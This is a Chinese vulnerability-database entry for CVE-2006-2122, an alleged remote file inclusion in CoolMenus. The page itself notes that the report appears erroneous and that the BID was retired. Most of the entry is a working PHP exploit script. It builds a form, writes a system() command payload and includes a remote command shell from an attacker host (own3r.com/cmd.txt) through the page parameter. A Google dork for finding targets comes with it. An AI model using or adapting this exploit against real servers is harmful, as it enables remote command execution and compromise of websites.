CoolMenus Index.PHP 远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110150 漏洞类型 代码注入
发布时间 2006-04-28 更新时间 2006-05-02
CVE编号 CVE-2006-2122 CNNVD-ID CNNVD-200605-017
漏洞平台 PHP CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/27768
https://cxsecurity.com/issue/WLB-2006050021
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200605-017
|漏洞详情
CoolMenus的index.php存在PHP远程文件包含漏洞,远程攻击者可以通过page参数中的URL执行任意代码。注意:此问题的原报告可能有误,因为CoolMenus似乎并未写入PHP。
|漏洞EXP
source: http://www.securityfocus.com/bid/17738/info

CoolMenus is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

This BID has been retired. The initial report included erroneous information about the application. Further information has been published indicating that the allegedly vulnerable code is not present in the application.

<?php
/*
CoolMenus Event Remote File Inclusion exploit Cod3d by R@1D3N
credit:Kurdish Security
Gr33t:Oulaw - A.u.r.a - drTp - Cl0wn - b3hzad - Str0ke and all Persian Cyb3r Team
Site:http://www.Aria-security.net
Dork:"/event/index.php?page="

example:
target:http://www.site.com/event/index.php?page=
cmdshell:http://www.own3r.com/cmd.txt?

*/

$cmd = $_POST["cmd"];
$target = $_POST["target"];
$cmdshell = $_POST["cmdshell"];

$form= "<form method=\"post\" action=\"".$PHP_SELF."\">"
     ."target:<br><input type=\"text\" name=\"target\" size=\"90\"
value=\"".$target."\"><br>"
     ."cmdshell:<br><input type=\"text\" name=\"cmdshell\" size=\"90\"
value=\"".$cmdshell."\"><br>"
     ."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\"
value=\"".$cmd."\"><br>"
     ."<input type=\"submit\" value=\"Submit\" name=\"submit\">"

     ."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";

if (!isset($_POST['submit']))
{

echo $form;

}else{

$file = fopen ("test.txt", "w+");

fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\");
system(\"echo ++END++\"); ?>");
fclose($file);

$file = fopen ($target.$cmdshell, "r");
if (!$file) {
     echo "<p>Unable to get output.\n";
     exit;
}

echo $form;

while (!feof ($file)) {
     $line .= fgets ($file, 1024)."<br>";
     }
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;

}
?>
|参考资料

来源:BID
名称:17738
链接:http://www.securityfocus.com/bid/17738
来源:BUGTRAQ
名称:20060501Re:CoolMenusEventRemoteFileInclusionexploit
链接:http://www.securityfocus.com/archive/1/archive/1/432630/100/0/threaded
来源:BUGTRAQ
名称:20060429CoolMenusEventRemoteFileInclusionexploit
链接:http://www.securityfocus.com/archive/1/archive/1/432597/100/0/threaded
来源:BUGTRAQ
名称:20060428[KurdishSecurity#3]CoolMenusEventRemoteFileIncludeVulnerability(ForPHP)
链接:http://www.securityfocus.com/archive/1/archive/1/432395/100/0/threaded
来源:MISC
链接:http://www.dhtmlcentral.com/projects/coolmenus/
来源:SREASON
名称:823
链接:http://securityreason.com/securityalert/823
来源:MISC
链接:http://kurdishsecurity.blogspot.com/2006/04/coolmenus-event-remote-file-include.html